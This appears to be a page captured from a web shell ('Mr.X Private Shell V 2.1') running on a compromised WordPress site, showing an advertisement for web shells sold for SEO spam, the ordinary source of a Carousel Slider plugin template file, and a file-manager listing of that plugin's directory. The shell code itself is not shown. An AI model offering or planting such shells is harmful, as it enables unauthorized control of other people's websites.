__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace CarouselSlider\Modules\ImageCarousel;
use CarouselSlider\Abstracts\AbstractTemplate;
defined( 'ABSPATH' ) || exit;
/**
* Template class
*
* @package Modules/ImageCarousel
*/
class Template extends AbstractTemplate {
/**
* Get default image carousel settings
*
* @return array
*/
public static function get_default_settings(): array {
return wp_parse_args(
[
'_slide_type' => 'image-carousel',
// Image Carousel Settings.
'_show_attachment_title' => 'off',
'_show_attachment_caption' => 'off',
'_image_lightbox' => 'on',
'_image_target' => '_self',
],
parent::get_default_settings()
);
}
/**
* Create gallery image carousel with random images
*
* @param string $slider_title The slider title.
* @param array $args Arguments.
*
* @return int The post ID on success. The value 0 on failure.
*/
public static function create( $slider_title = '', $args = [] ): int {
$images = self::get_images();
$images = array_slice( $images, 0, 10 );
$ids = wp_list_pluck( $images, 'id' );
$ids = is_array( $ids ) ? implode( ',', $ids ) : $ids;
if ( empty( $slider_title ) ) {
$slider_title = 'Image Carousel with Dummy Data';
}
$default = self::get_default_settings();
$default['_wpdh_image_ids'] = $ids;
$data = wp_parse_args( $args, $default );
$post_id = self::create_slider( $slider_title );
if ( ! $post_id ) {
return 0;
}
foreach ( $data as $meta_key => $meta_value ) {
update_post_meta( $post_id, $meta_key, $meta_value );
}
return $post_id;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Admin.php | File | 8.62 KB | 0775 |
|
| ExternalImageItem.php | File | 2.17 KB | 0775 |
|
| Item.php | File | 2.84 KB | 0775 |
|
| Module.php | File | 2.38 KB | 0775 |
|
| Setting.php | File | 2.31 KB | 0775 |
|
| Template.php | File | 1.58 KB | 0775 |
|
| TemplateUrl.php | File | 1.76 KB | 0775 |
|
| UrlView.php | File | 1.54 KB | 0775 |
|
| View.php | File | 1.46 KB | 0775 |
|